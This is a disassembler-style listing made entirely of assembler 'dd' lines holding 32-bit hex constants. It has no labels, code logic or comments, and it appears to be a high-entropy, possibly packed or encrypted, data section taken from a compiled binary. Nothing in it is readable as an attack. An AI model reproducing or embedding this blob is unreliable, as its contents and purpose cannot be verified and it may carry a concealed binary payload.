		dd 87F5888Eh, 9ECDD39Ah, 0C5FED5C8h, 0BEB05012h, 4228C08h
		dd 855FFD29h, 0BD1EB002h, 0EF44BEBEh, 54442D82h, 9853299h
		dd 75D2C191h, 0BA2C3FFFh, 34809D1Dh, 8105E5C1h,	0D384F504h
		dd 0BEC53C83h, 4A53004Bh, 2695C4D7h, 63A4CC9Bh,	45D15758h
		dd 92B03851h, 2FCB3E91h, 64B86800h, 5E6FB202h, 8A9ECE81h
		dd 0EA22D6AFh, 0BDBB69C0h, 0B76FB37Ch, 0F3891681h, 3E22215Eh
		dd 0E3887B00h, 1FC38058h, 4AB0043Ah, 0C0CF4154h, 19477D13h
		dd 210B29B8h, 0ED6D1F46h, 49080FAAh, 0E201125Dh, 14630024h
		dd 0EEC128ADh, 0A24E6002h, 68D860B7h, 4FAEE917h, 0B103CEB7h
		dd 5AF12885h, 0A2E93187h, 936B7203h, 77877900h,	280140E1h
		dd 459A50FDh, 1D523B29h, 0F83F610h, 0E0B10860h,	40DAE381h
		dd 0C1714A4Fh, 71EBD137h, 0F38387Ch, 6E4B652h, 6113479h
		dd 0F277B5BAh, 0B1697E63h, 5278090Dh, 55BB2224h, 4C4DC702h
		dd 7031F757h, 35D32A64h, 7E2248Eh, 26109Ch, 4D4A4EB9h
		dd 1FAABA58h, 0C9986DC9h, 1C5A1B95h, 484D614Dh,	9F919DFh
		dd 70C4C363h, 651760Eh,	4B785ACBh, 6C8CB7Ch, 0C2AB005h
		dd 14025B48h, 0F2E9D809h, 0B257FB75h, 2F746072h, 8BAD5065h
		dd 1DBAF498h, 0C11A880Dh, 43CE60EFh, 0A87DB133h, 2429F443h
		dd 0AD97A3EDh, 0F5FE9844h, 74B20DF8h, 650746BEh, 0A7B573F7h
		dd 0EC418DB0h, 58BC494Dh, 0CB78277Ch, 0AD68B718h, 0D224149Eh
		dd 9F5EE978h, 104A389h,	7D260F03h, 0D39C4927h, 0C2DC0405h
		dd 0F8AAA45Ch, 5E656191h, 59E9E9A0h, 3B01B149h,	93840FC2h
		dd 0D4486AF9h, 0B0C9008h, 453146E9h, 0FAD508E2h, 807BB501h
		dd 34E816EDh, 22BDE0Fh,	20E32B9Eh, 822F96F0h, 331425h
		dd 101930CEh, 0C8AE933h, 202114B5h, 0FB00115h, 49087044h
		dd 0F6405E61h, 6F2B1FEFh, 776C0B4Dh, 7A2D3B46h,	99FAC62Eh
		dd 4E3C10A0h, 6A6094DCh, 0ED10D0D1h, 58383B0Bh,	8D4E49E9h
		dd 5320304Ah, 20006857h, 5F791B69h, 14E78147h, 92FF0E5Ch
		dd 0A748D019h, 64333BE0h, 545AEA01h, 84F4EA38h,	0A23CD568h
		dd 0F2BF02C6h, 736F0761h, 688A0856h, 0DABD5500h, 0A0031622h
		dd 94723C6h, 0E5D1155Eh, 0F2C0BD0Bh, 0C8482959h, 2F0F0581h
		dd 89013ECDh, 72FC0D82h, 411F7D8h, 0E9FE6170h, 184A04Fh
		dd 0E9C18D99h, 523A470Ch, 0A55DF563h, 8969EA86h, 583260C5h
		dd 0D2F24C29h, 882C2A13h, 2EB05143h, 30AC25C0h,	5C6866D8h
		dd 5212C38Eh, 78A4A211h, 0C500A85Bh, 1984C0BDh,	48B7F4F2h
		dd 0FCA5202Bh, 631369Fh, 3A88A0Dh, 3C7EB24h, 5DA0BA70h
		dd 0D6D34C87h, 0C99F94EDh, 787321FDh, 6F295F3Bh, 0C38C51BCh
		dd 5DE88F66h, 2A68B940h, 498F147Ah, 126B7DAh, 0C0DE13F7h
		dd 0EB835A5Fh, 0A32F5CB8h, 91D4516h, 0F69914C0h, 0EC68E4F7h
		dd 13555963h, 0CAF10350h, 7DDB7EBDh, 6E9BF2B0h,	43706025h
		dd 4CF09A05h, 4305054Fh, 0C050F922h, 0DBF7586Dh, 0E912D3E4h
		dd 95B73884h, 538B9158h, 51421C00h, 800568B5h, 0E5C058F5h
		dd 0A3CD48C0h, 0C3849DF6h, 805F0970h, 0D0B3A0CFh, 132A90A6h
		dd 505322Ah, 37334A2h, 3A1B0F33h, 314001E2h, 6B82C064h
		dd 5470C26Ah, 19E625FCh, 964DB0B8h, 83C84A56h, 0A86DF652h
		dd 26685ADCh, 6F0518C3h, 80B6B2E0h, 0C2E693CAh,	0DCE91F0Bh
		dd 478F6629h, 2BF5745Fh, 64A82574h, 0B3B1A4D7h,	9A5C7A40h
		dd 55533FDFh, 7662B900h, 84BD3383h, 5AD1EF00h, 8159CD29h
		dd 731071E5h, 4D452508h, 0EC3D497Ah, 0A8642E53h, 66FA603Bh
		dd 0F85DEB89h, 0E97BC35Eh, 6E2E2A56h, 8E39F380h, 6BFE03C9h
		dd 0FFE8566h, 586142C7h, 0C8C1332Ch, 0F64AD840h, 48D198D5h
		dd 3520BABCh, 552F32BFh, 0E1828214h, 5CD124FCh,	0D1F442Bh
		dd 7A0125Ah, 3F3E60D2h,	73F044F6h, 4ECE3F5Fh, 0C44BE912h
		dd 6FB8B331h, 2505C95Fh, 9981ACF8h, 8100FBA2h, 3D079AE1h
		dd 0D9F76E13h, 1D16C180h, 0F34C403h, 0A7F7124Dh, 68AD9D5Ah
		dd 4D68C268h, 92A64339h, 322F63Eh, 0EE4AA6B9h, 950160F6h
		dd 0E9428356h, 5C034BBDh, 2A5275E9h, 7BBC4531h,	0E9E3287Fh
		dd 28557F64h, 0EE84EEC7h, 0CC7712AEh, 0B80450A2h, 1F086A1Eh
		dd 0FCE8AEB0h, 724D0025h, 482D3D62h, 0C0B0270h,	911E42E9h
		dd 64EE93A0h, 47AC13B9h, 9421E0FEh, 0C2E1BC16h,	2E820584h
		dd 641A8251h, 694BD47Ch, 3C47EF82h, 0CBD012Bh, 0B87555EFh
		dd 0C206FD30h, 28D2683Dh, 0AAF053E6h, 0A4351B4Ah, 0E48789D4h
		dd 7381C2EBh, 9ECCA518h, 0A4FB682Ah, 0BA3BE913h, 76AD1D91h
		dd 0A910BF38h, 0E6BF020Eh, 0E02A053Dh, 58F703CFh, 0A54A77D7h
		dd 5E6B3063h, 3C0FFA64h
		dd 935FD78Ch, 0ABE62F3Bh, 4B07F1B0h, 114933Dh, 8548869h
		dd 0F9948828h, 4DD8605Ah, 3C400766h, 0F0EAD14Ah, 0F1646DE2h
		dd 40C17C25h, 26E4C296h, 16F8E3DFh, 0E9B090D7h,	0B5A44FCBh
		dd 9C7CA20Ch, 13470C0Dh, 0B026F828h, 8A3EB1Bh, 1140C41h
		dd 8BF6C9DFh, 0E4D1F7E2h, 678F98ABh, 73FAFBEEh,	0F5FB6E6h
		dd 56BCB9C8h, 0DD05DE51h, 0A90C5041h, 782F1279h, 487840DDh
		dd 48FBD52Ah, 5925F650h, 5FA2B12Eh, 0D8806CF6h,	1C2560F2h
		dd 4C01CBECh, 0E9075422h, 2FBB5601h, 0F0049C25h, 47DEE45Ah
		dd 5C4E55BAh, 14EFA962h, 0FC268BB9h, 5D2E0F10h,	10E32444h
		dd 2012484Ah, 805B0EB5h, 0F50917C5h, 8BBF7A8Eh,	52F356ECh
		dd 583D8466h, 3327BC31h, 0AF0FCB10h, 7127C864h,	11270153h
		dd 0ED05EA80h, 0DDD2CC4h, 8D392268h, 0F905E0FDh, 0BE46D7BEh
		dd 3164CC6h, 7C0186BEh,	40DA466Dh, 256814Ah, 871122CBh
		dd 0E986981Ch, 824BB423h, 0C82158C1h, 0A2AF2C79h, 0D4D0EB3Ch
		dd 5028910Eh, 675BA724h, 0E7834573h, 0B6A2C46Bh, 0A0E65ABAh
		dd 0C1605496h, 5E9F187Eh, 0DFC9406h, 6B2C8B08h,	0ADA92712h
		dd 0D14BA19Dh, 0BE0F86D9h, 0E92438C8h, 8A9F320h, 231C933Ch
		dd 91946367h, 759C1B0h,	2305362Dh, 29C2501Ah, 0A8F415AFh
		dd 1F426B58h, 7E8F801h,	91145EBh, 0E971DBAEh, 5F132FA4h
		dd 4EDC3E41h, 0F9E85751h, 7539AF5h, 0C335B1F6h,	0AEE66041h
		dd 3FF1F451h, 0DC804F1Fh, 29AB7FF9h, 985E48F5h,	61457D00h
		dd 5BDD3141h, 0B0EB092Dh, 8216BDD4h, 0C22BAB55h, 0B1485E01h
		dd 59EEACE4h, 0C5FFA584h, 0BB20B440h, 4EE9536Ch, 30480728h
		dd 0BEA674F1h, 43ED9512h, 5AED089Fh, 71B1BB00h,	32014FD9h
		dd 57065BD8h, 286B8660h, 0E9332A05h, 0BF983599h, 0A604F268h
		dd 0E00B748h, 49396772h, 2B16BB1Ch, 0FB311081h,	0E034E1E9h
		dd 0DD95ED21h, 0C13F8F5Dh, 44680685h, 0D569FC1Bh, 28BD1386h
		dd 31D11E27h, 613F33A2h, 5540E79Eh, 9A378945h, 0CC275F41h
		dd 46214EFFh, 94B377A8h, 0BE7B587Fh, 6D24457Ah,	5E663F30h
		dd 0F5879F41h, 0D2104949h, 77C90E71h, 1AF4D3D8h, 0E3C1574Ch
		dd 0CC069C7Eh, 7539C11Eh, 86172583h, 2C44410h, 949DC8E0h
		dd 4DE9773Ch, 92531DE7h, 75651A36h, 84F89897h, 8B5182DFh
		dd 42BFD0A5h, 0B2FB12A3h, 2368758h, 12C93268h, 0B5F0E56Fh
		dd 792B5C55h, 44BA5980h, 5F7AA0F4h, 0FBB5B00h, 1DDE6E0h
		dd 0EE98F5FBh, 0EDD1420Ah, 0A1C58103h, 0B7530C4Eh, 1355F480h
		dd 4A9EB83Fh, 9197A441h, 8C9894E0h, 2B7E6407h, 0E9612965h
		dd 7355C48Dh, 87B558ECh, 0C83151A7h, 4F9FAC95h,	0BB99C025h
		dd 58417529h, 0B73B632Bh, 0E93A0404h, 8F37BBF1h, 0D940BE82h
		dd 2222C54h, 32182F5Ch,	78B92B74h, 2944B47Ah, 49D34DE9h
		dd 61D88541h, 0C8494871h, 8E9E3104h, 3409AEB6h,	0A42F7601h
		dd 0EAF9EB90h, 4D6F78A5h, 52F508Ch, 8090EEEAh, 0BD805D87h
		dd 0DC6712C7h, 8ADABC6Fh, 391FAA06h, 0E0A2014Bh, 0F7D32928h
		dd 6BD404D5h, 795A595Fh, 0ADB47F4Ch, 0B1F41A65h, 483E967Ch
		dd 8A92A755h, 0DDE90B21h, 88F75953h, 583A67ACh,	28004E61h
		dd 0B46907BDh, 39059062h, 71BB2B38h, 4421F503h,	18004CBEh
		dd 12D229B0h, 6E07E5C1h, 19001445h, 0EF893303h,	840EE927h
		dd 12AE28FEh, 0C9541E0Bh, 7E483597h, 0EBA8D208h, 95D75E31h
		dd 0A7D4CFCAh, 13B95E10h, 2E67F388h, 73060FD2h,	0EE2FBF9Bh
		dd 13E9ABA1h, 305F3FFDh, 23657302h, 72CC804Dh, 0B7670FEFh
		dd 9226C2A4h, 0BDE008ADh, 3B9DC67Bh, 54E2B030h,	9CD65C28h
		dd 19B3C202h, 0CFE04C7Eh, 61B3B5FDh, 3D93681Fh,	6C549832h
		dd 50510043h, 0CD565EB8h, 6B24E944h, 59697257h,	0F1F78309h
		dd 0BAC4CA68h, 1382D934h, 0EE055F95h, 5A679D01h, 6C844C28h
		dd 98D334C9h, 6995BCE9h, 0E32566ECh, 0C2E813C7h, 81F1A7BFh
		dd 384BC6D0h, 0DD434861h, 117B0201h, 70DE8942h,	0B901CE9Fh
		dd 0C116B631h, 556007EEh, 924C0130h, 35E94A64h,	9E7B7CF2h
		dd 0F8C7243Fh, 1DE83EC4h, 0F7D02915h, 150BF093h, 0BA01ED41h
		dd 2BA4C069h, 0F5444FCDh, 595B0311h, 3A5C153h, 0C2EFB980h
		dd 2901EA49h, 5C0CF51h,	2663AC08h, 0CB031159h, 1701007h
		dd 616313B6h, 48D7211Ch, 7EC64F45h, 3B5A5B1Eh, 0D193A4B0h
		dd 7B74F7D3h, 660DF263h, 0DCDE40F7h, 2AB0610Ch,	382E7C68h
		dd 0FF169364h, 5E5E4EC2h, 0D1216137h, 0BA2FF5Ah, 0A60917A9h
		dd 0AD07D4DEh, 0BAF39877h, 0E90B17B1h, 5934A1CEh, 5F0D8A03h
		dd 0FD03864Fh, 0B035416Eh, 2F74E9CFh, 0DA662040h, 0EF39B805h
		dd 8F16B777h, 59D8530Bh, 4F9259Eh, 856A99E2h, 98D6AF05h
		dd 0D3F72776h, 0CDE96498h, 680155BEh, 61E41E9Dh, 4D1E6226h
		dd 0AE1424E9h, 0CE290AB3h, 56C601D1h, 8B236D71h, 83D1CA0Dh
		dd 7157B51h, 1E07BA50h,	6852B071h, 57261D9Fh, 0EA16C84Dh
		dd 7DF25200h, 3E24123Bh, 139D729h, 5FE95284h, 0C592E240h
		dd 6BE34856h, 0C8D92D34h, 7014CA3Eh, 12D11D8Fh,	0F96754CEh
		dd 0CCB48895h, 0EAE0BC1h, 2F006D56h, 6C849216h,	5EF13101h
		dd 55E9CD01h, 984A5A64h, 76230E34h, 0EAC02FBEh,	0C95427DDh
		dd 0E9D0010Ch, 984B294Dh, 352E4BE4h, 0D661E20Eh, 9705298Bh
		dd 45467468h, 0A2E3A0D6h, 54894AFEh, 28865430h,	0EC94B136h
		dd 6BB82CE9h, 0A07CC42Ah, 3100BE8Bh, 8116095Ch,	5A2A8CF6h
		dd 0C25C87B3h, 0E88533C7h, 59A4F07Fh, 5305AE90h, 50658130h
		dd 5A47D401h, 292F518Fh, 0E9DC11B6h, 4EBE3CA8h,	2722683Dh
		dd 67031C1Ah, 995F677Ah, 0CEF38B40h, 0E7FFC253h, 4503143Eh
		dd 0B151C774h, 2CBE5155h, 4294E519h, 5C7A458Ch,	0E1793400h
		dd 5DEE3157h, 5EF30401h, 0EB7B2A68h, 16A60930h,	291D31FBh
		dd 2A21E621h, 0ED2E74h,	9E98CCD7h, 31FC31D2h, 0D716BCD2h
		dd 538452B2h, 15B2068h,	133FE7DDh, 0DC9D0523h, 846DE23Dh
		dd 97132013h, 0A02F94D3h, 1C0404ABh, 515B5A66h,	0C32712BCh
		dd 5ADCBE0h, 6515230Bh,	9F25000Ch, 241D2F01h, 1604CB87h
		dd 0D92C4734h, 610D8081h, 91FA71A1h, 319D6B64h,	0F9B871C4h
		dd 4F0A5D7Ch, 55F30F4Eh, 0CF4849CBh, 6D0B0CC1h,	0A0D15134h
		dd 0DA484710h, 0F08BBD23h, 83B58A0Ah, 0DB6798BBh, 0A5FA1A6Fh
		dd 2DE36A01h, 46C8D24Fh, 14753F4Ah, 0B6EBECABh,	8DE958B6h
		dd 0F703DF92h, 48C02DD8h, 45C5FFD2h, 0E0BFB7A0h, 10412540h
		dd 0C6312800h, 0E9254E58h, 9056173h, 7176147Fh,	53B0712h
		dd 0E3B826DAh, 0B1C92AB5h, 0D22E437Eh, 0DD4057BAh, 2EB112h
		dd 0BEB9514Dh, 933651Fh, 581CD50h, 805F3450h, 31D56D0Ch
		dd 1F1C3843h, 5C13E35Ah, 161FD7E5h, 72E900C9h, 0E939CC63h
		dd 0F1D03B4Bh, 303873C3h, 0E643C85h, 6B165047h,	0A340B1E9h
		dd 0C665FD05h, 9D1FF466h, 4CC2549Bh, 0EA0191E4h, 0DDDCA462h
		dd 0F1F5D709h, 0CD57DE38h, 61AC9017h, 429CC29h,	86E5F7ACh
		dd 64A03139h, 89804B8Ah, 0DE5E58F5h, 0EA4F3709h, 0FCC5C805h
		dd 25F10418h, 55C46252h, 5C088B10h, 0EC87A28Eh,	88501C8Bh
		dd 58C386D0h, 0D8790E52h, 5F77C64Ch, 3BBB1500h,	0F0510840h
		dd 0D7024FEBh, 121B84BFh, 0D9BE63D0h, 2572722Dh, 1379DE31h
		dd 71F72942h, 0ECED275Ch, 0C3E14226h, 8654E7E9h, 51262AE3h
		dd 0FA2215Eh, 0A1B08BC2h, 3988B5E2h, 0A6BD02C6h, 3AAFDB3Fh
		dd 34EA48BAh, 0BD9BBCE4h
		dd 20D1C9CCh, 82209026h, 28CAED80h, 587B0DC0h, 88C0B281h
		dd 0F5A7FD5h, 0C5FE33F5h, 0D6709BEBh, 4F7ACCF4h, 0AB0A9EE7h
		dd 2872F401h, 663858E3h, 98879040h, 110E0B31h, 15721D65h
		dd 0B7091903h, 275C2951h, 6C445210h, 0CAEEB62Eh, 0A7A11117h
		dd 0C7FD4421h, 762CB382h, 9982D828h, 686AD6ABh,	6EEE4360h
		dd 85F83CE2h, 52FA097h,	2E7125h, 36685754h, 5F6E785Ch
		dd 0BDA2534Eh, 9EDF4C74h, 0ECE60D84h, 87A293F2h, 502B4C10h
		dd 62CECADh, 0E1007945h, 0A8E6FC1h, 80495B41h, 0E5B5E9CCh
		dd 9999809h, 0EDEF02C8h, 0E479F22Dh, 261AE64Ch,	1A9EE2D1h
		dd 8C40A9EFh, 8800B69Ch, 3A5F385h, 2D683862h, 904626E0h
		dd 860414F4h, 0D4EFE97Fh, 534A6AB7h, 682D2DB3h,	0FD01E038h
		dd 2431B15Fh, 0F0C713DCh, 0F6B066F1h, 29EA58E6h, 0F153F84Fh
		dd 412FB7A9h, 415B78E1h, 0F1D2313Ah, 1522494h, 9525CA77h
		dd 0C1E4D923h, 417168h,	0DAF0A2E9h, 0A8C06834h,	0E51F2FA4h
		dd 5E170179h, 0BD00F0E3h, 7F2A77B5h, 0D109CD81h, 8111AD05h
		dd 1D166688h, 60E54960h, 7E8CFA04h, 809515FDh, 0AA7ED0Bh
		dd 299D04E6h, 0D756E9E8h, 0BE804CD4h, 0D6D282h,	2B6D0DB9h
		dd 2AC98123h, 2F1D7A05h, 0E2A05CE9h, 0F7DA09B8h, 6C84A56Fh
		dd 27E810DCh, 930C2853h, 8B4DF42h, 73CBC8C5h, 2EDCDC5Bh
		dd 6F12B75Ch, 606C3A60h, 58451996h, 30E9ACF4h, 5A1A4E80h
		dd 0AFF0F331h, 21160194h, 38AE9784h, 0CC413077h, 28286943h
		dd 1C0531Dh, 15081680h,	3EBA21E9h, 49880E47h, 4BB40AF7h
		dd 0A66652EAh, 3C4310E0h, 3B1292Ch, 8DF050Ah, 21DF0E1h
		dd 8037958h, 5F13A970h,	3B1A9600h, 0FA4A6701h, 28FA4E63h
		dd 570BEDD6h, 12C1058h,	4E353885h, 0D2A681CEh, 78FE8E70h
		dd 7F090065h, 0EE019071h, 0CF960BE9h, 19412D01h, 0CB616E5Fh
		dd 439057DEh, 591029E5h, 0E7836DCh, 0E9614402h,	0C16480D3h
		dd 0CCFD08EEh, 63092492h, 59F721E0h, 0E81D64C2h, 9E56F7Ah
		dd 9030704Eh, 0F80729Ah, 6EDC0A8h, 8B2FEBA9h, 8273E367h
		dd 0E6093786h, 0FA8D9854h, 4E0CBAD3h, 0D43844F6h, 43890AA8h
		dd 45A75616h, 0B501DE90h, 2937120Bh, 9EA06DDFh,	38A6A5AEh
		dd 0EAC953ADh, 38134F0h, 111C1797h, 32E801F1h, 42A225A0h
		dd 940CFB6Ch, 0C6261C78h, 4DBA02C3h, 0AD88DE01h, 0C15B1308h
		dd 54DCE9F7h, 530BE89h,	2768C8B0h, 73906E15h, 749CC188h
		dd 0E9C8026Fh, 4E804A3Dh, 19460C7Ah, 1ADE213Ah,	2A6B4D1Dh
		dd 2528CF81h, 0E7F014EAh, 0ED44054Eh, 0B146E945h, 7A1F226Ch
		dd 0B63F9E1Ah, 8CAAFCECh, 0F3D5B7F2h, 53960309h, 0F29CE3AFh
		dd 1342F898h, 8860D568h, 527A563Ah, 861B60Bh, 0F2E6806Dh
		dd 8F43BA2h, 0EEBCE90Dh, 0A6B35302h, 0DF17E3FEh, 0D953AD48h
		dd 4EA059A5h, 0E1AB5612h, 7AEAA7E3h, 8E05BF6Ah,	5E989189h
		dd 3FC92A21h, 0D9D23442h, 120426FEh, 2E7DB1B2h,	7330EA39h
		dd 234C13BAh, 68312C53h, 8B710724h, 4B05897h, 4D0D09BDh
		dd 62F06A9Ah, 5E0C1820h, 0BB05845Fh, 0DDF47F37h, 94EB35AFh
		dd 0A03FB823h, 2637D6B8h, 2620DE4h, 3F6D671Ch, 298747FEh
		dd 0C869C755h, 731773EEh, 4C013531h, 0A8C1010h,	0C324359h
		dd 1F924488h, 0FEE5107Fh, 0FE5C81CBh, 0D20EEF2h, 953D90A7h
		dd 3AB9DA90h, 269E2B09h, 0AAF04131h, 0F663002Bh, 0C9434D0h
		dd 0C904641Bh, 0E9040A10h, 72B8C45Dh, 0F29397Dh, 55E00C6h
		dd 123D6BE2h, 0AC4FF622h, 40C371A4h, 834B68A6h,	0F6F4558Dh
		dd 0FC10D205h, 57E11214h, 0FCF5F4ACh, 62B800E9h, 0F728555Ah
		dd 4D2503D8h, 3537BB5Ch, 7B0B2BD0h, 54417398h, 6E410F7Fh
		dd 86FB5010h, 0F6370C90h, 59A10BD3h, 302BCE88h,	93C680AFh
		dd 743C3062h, 42BAD1C2h, 1CD5E8BDh, 958376A0h, 69E9E790h
		dd 86E4474Bh, 73960A2Dh, 4CE01EADh, 0B025E971h,	0AA5B7954h
		dd 7DB112B5h, 0C0440828h, 0CC10EC26h, 8170B04Bh, 868B2BE7h
		dd 9C6FCC5Bh, 5550D19Eh, 7CB90BBDh, 0AD0E120Dh,	7A310DF9h
		dd 5DEE9BC1h, 683CD432h, 0C69B9570h, 2E75C3C9h,	0A9028398h
		dd 0C13E66EAh, 2A5CC3Ah, 0C9A976C3h, 0E9E12F7Eh, 0D40410EEh
		dd 0F558ACD7h, 0AB0057E5h, 9D3F6068h, 4A9D7E46h, 0C27141B9h
		dd 4F43DCD6h, 0E9337C04h, 394507C2h, 3B51C41h, 18309AA5h
		dd 42192659h, 569D05A8h, 99FC0BFAh, 30321929h, 62EE72CAh
		dd 8576E925h, 0AA5EE2h,	50BA52F8h, 2C5CB02Fh, 61A251Eh
		dd 86565Fh, 0DCA326Fh, 691F452Dh, 0C689B912h, 463BADCAh
		dd 12CFCE80h, 0BEE93982h, 3B31899Fh, 4A68E27Ah,	69ED5B3h
		dd 5479649Fh, 0E57CB01h, 0CB9189BFh, 1D34C93Eh,	0FA896B9Ah
		dd 5F83DAE2h, 3203A4E8h, 73BD6655h, 0CDBEA03Eh,	0B829F072h
		dd 0CDB74A66h, 11D1E0BDh, 7A524B7h, 7C1C67C2h, 6C9A4038h
		dd 0EBEC7937h, 0DDA2B48h, 1CFB0150h, 2CAB0805h,	2914CF83h
		dd 28A6D5Bh, 0A9397EF6h, 746A4010h, 13F50E61h, 0D64ADEF7h
		dd 97892494h, 1893889h,	22BD42B0h, 0A32833Ah, 0F8802F83h
		dd 66C5BB6Eh, 0AEB17A28h, 581D140h, 5E788FCBh, 299F001Eh
		dd 0E9145806h, 23E46730h, 601D32EFh, 0DAC7DEE8h, 0D341B9FBh
		dd 0B9A43428h, 0F120DFFAh, 0B76B0C28h, 4B103074h, 0ED686605h
		dd 603DC91Dh, 884E6C3Ch, 7320C92Dh, 28C52EB1h, 2C590774h
		dd 4D003F2h, 1F972FA7h,	22592D97h, 528776E9h, 8B69B17Eh
		dd 578262E6h, 359C8C1Ch, 710131A4h, 0D12FE142h,	0AF405471h
		dd 4B501AAFh, 405CE15Bh, 9410D5BEh, 93E91709h, 564E27FDh
		dd 0DD08DB72h, 805E3BA4h, 5832EE17h, 5AE0F45Ah,	347E24E9h
		dd 0E381605Bh, 15301E3Bh, 6F572E4Ah, 993848DAh,	0C74F8B42h
		dd 87DD4F33h, 0F22018BFh, 18DDC2F4h, 510F093h, 0D14332CBh
		dd 429A81EBh, 2101E461h, 500C59F8h, 35C988E9h, 0F644EFE0h
		dd 7E500CA7h, 96FCFB05h, 11733F66h, 0CBC8F194h,	7E89EF1Dh
		dd 0BD42E493h, 7AC7C90Fh, 5C40976Fh, 4FABEF84h,	474A44C2h
		dd 0FFC1965Dh, 68BD48E6h, 0DD7313A9h, 0CEFAF261h, 844C22EDh
		dd 3A59403Ch, 5DB92735h, 80C8FCAh, 525DCF12h, 57F44BC3h
		dd 22C89F0Ah, 0A6BE5455h, 0C9E95260h, 402881C0h, 5FB46895h
		dd 56A80B91h, 631969A0h, 0DAD9AD81h, 0AC0E1D78h, 0E24F6C2Ch
		dd 0C960C545h, 73442A07h, 0E7107E13h, 32E0135Ah, 51EA38B0h
		dd 473170F0h, 0D8305346h, 406BD7FDh, 0B8BBC379h, 534AF8EEh
		dd 0BD616F2h, 57AEF4EFh, 3BA0CD3Dh, 0D7007E18h,	93E5F9EAh
		dd 0D60913F2h, 0FB43005Ah, 10CED7Fh, 0E4B4F54Fh, 6F3E4190h
		dd 0C3D39E1Ch, 41978101h, 0C603802h, 0B570E90Ah, 0E9D209F7h
		dd 0ECF1A5E1h, 0AEF8C108h, 3E93E24h, 0E9131E50h, 0D7FDB230h
		dd 896F959Eh, 301C6958h, 8F398DEh, 514BAE68h, 0E9F14A30h
		dd 0B400B57Bh, 0D9F6E8B1h, 5E1C000h, 0F180C1FEh, 7B85B8FAh
		dd 8EE3C59h, 5126E680h,	2BE975B5h, 9FD8AA4Eh, 0D7E5AAF6h
		dd 0A305648Fh, 0F95094D3h, 0C9F98F32h, 9CEC045h, 7BC0B047h
		dd 9F65A410h, 0E8971A24h, 944C5Dh, 7FBD0FA3h, 0B7770C68h
		dd 7B118D98h, 59259024h, 0B94F1E03h, 0B6CFB054h, 6B450F6Eh
		dd 0C3DCD7F7h, 0AEF9136Dh, 0BDD14E12h, 0A6FA10EFh, 9402D03h
		dd 0F8C15EF1h, 5F074305h, 1BB24B5h, 0B1CB42D7h,	50842F2Eh
		dd 0FCE809FBh, 0D3488A72h, 2EB8042Ch, 0ECFC4ED2h, 73393103h
		dd 12EE295Ah, 0BF6D9809h
		dd 7C08C657h, 0E54B4E9h, 2AE449B6h, 16C8F7EDh, 0F2312C87h
		dd 2102E630h, 7208C3FEh, 0CF290AB2h, 204DA4C8h,	31F0F7BCh
		dd 94F9EEF7h, 1CF0923Dh, 727A8043h, 5BD82921h, 0D4685700h
		dd 0E9425A15h, 3AE56BD5h, 28802C7Eh, 89C919E7h,	975FB0FEh
		dd 189A417h, 2F9BDBF3h,	0A6F27733h, 0CEBEFCA2h,	0B77FE040h
		dd 8D0FF9A4h, 646DD72Fh, 5F0B02CDh, 0CA8047CCh,	6AFE4CA9h
		dd 6E2C11Ah, 0EAB64006h, 4A041948h, 0E9670C3Eh,	0A15EC617h
		dd 42FBC101h, 0DD20D189h, 57B901EFh, 0CAE912A9h, 0F1CD8049h
		dd 901C8AF9h, 59CF3731h, 2E9AE028h, 144EE940h, 0EEE79CE4h
		dd 0D305B5C0h, 282085Ch, 8569D1A5h, 29AC3DE9h, 0CACBECEAh
		dd 116349B7h, 0F14AED78h, 47F72057h, 5E25CE9Dh,	0B291B253h
		dd 0B4758A4h, 76206005h, 0D248A104h, 0F0C5508Ch, 18B5E941h
		dd 20A3297Bh, 59C1F289h, 7FE310C2h, 80287F20h, 0B63B99B5h
		dd 59EE937Ah, 0EB0F130Fh, 962A5EE5h, 0E21E04EFh, 2FB8132Ch
		dd 0AB43DAC8h, 0EED5035Bh, 1E831351h, 224F837Eh, 0E8282181h
		dd 0D9843639h, 241D1616h, 0CDD807D2h, 11FC340h,	60902DF8h
		dd 24904249h, 14DBC507h, 0D6EE713Ch, 5E088510h,	506C6B2Ch
		dd 0C84E0Dh, 1A0FA46h, 68505EF2h, 43575109h, 6100FE4Dh
		dd 22D4A6E9h, 0D1B95013h, 46D94E03h, 4AD5F381h,	29DFE20Dh
		dd 9A0BB404h, 459DF12Dh, 0D64AB8C1h, 635191F2h,	0BE7CFD20h
		dd 62002491h, 5F06E4C4h, 5ACCF026h, 3F20E5D6h, 0B940D129h
		dd 4244568h, 0DB3056Ah,	0E985C02Dh, 0A296E0FAh,	503A8A6Fh
		dd 0F33600C9h, 133D9837h, 0CA5FF931h, 8AE91385h, 0BF39EB4h
		dd 6D0A1438h, 0A8399CE1h, 5020401Bh, 0BBB9092Bh, 9678B347h
		dd 29E415D3h, 80174039h, 27F2E33Ch, 0B6FC6071h,	0B726FE87h
		dd 1247130Bh, 7AA4A4A4h, 9441A100h, 5B9EE937h, 36A39CAEh
		dd 10607952h, 9F410D07h, 181C292Eh, 4F49E9A7h, 0EB1950C3h
		dd 65E5581Dh, 0B5B9C697h, 0FE6A914Ah, 15E304B1h, 9EC8F448h
		dd 2D803228h, 1950158h,	3B49E94Fh, 45D05C6Eh, 0A462D832h
		dd 7E0BF155h, 8B69F771h, 7C405825h, 2D4DB668h, 0ED00EA45h
		dd 21FC50D7h, 90FD4801h, 0E6070841h, 20451EFBh,	4807EB63h
		dd 3505E8C1h, 0E05C16F3h, 0F040D0F7h, 8C471280h, 99BB0DDh
		dd 103E96BDh, 401A2FE9h, 0FE4E9BEEh, 0F092B6B6h, 0DEA35B74h
		dd 4BE9350Ch, 0EE6C729h, 6D241836h, 3335CEC0h, 0A9B7B4Eh
		dd 2F252E8Ch, 0F67A05EBh, 0AC89F72Fh, 66095A74h, 2129A755h
		dd 0BE6FFCB9h, 80116B24h, 32D3E781h, 80BF4B7Ah,	0A40BD8F6h
		dd 996B061h, 22BB76B3h,	0D672C854h, 74630048h, 0FB68229Bh
		dd 98230D5Fh, 22D9848Fh, 8F62950Bh, 0C350ADE9h,	71D1214Bh
		dd 4205302h, 0D91E058Ch, 945C317Dh, 512920B4h, 97006856h
		dd 5E6D7026h, 9ED6F74Eh, 14610F2Eh, 5F2EF0F3h, 17253A4Ah
		dd 0C3FDC106h, 0E4CD04FFh, 87106A6Fh, 75C53E13h, 7A14FA3Eh
		dd 7FA4205Ah, 8E20E42h,	0B8370E4Ah, 0FE1E06B1h,	7071465Ch
		dd 74FA3BF1h, 61DDF603h, 0C1D369Bh, 4AC97F2Ch, 0CEED0731h
		dd 9BD501Ch, 55E86A62h,	26EB4700h, 0AF9F1A34h, 384D28A5h
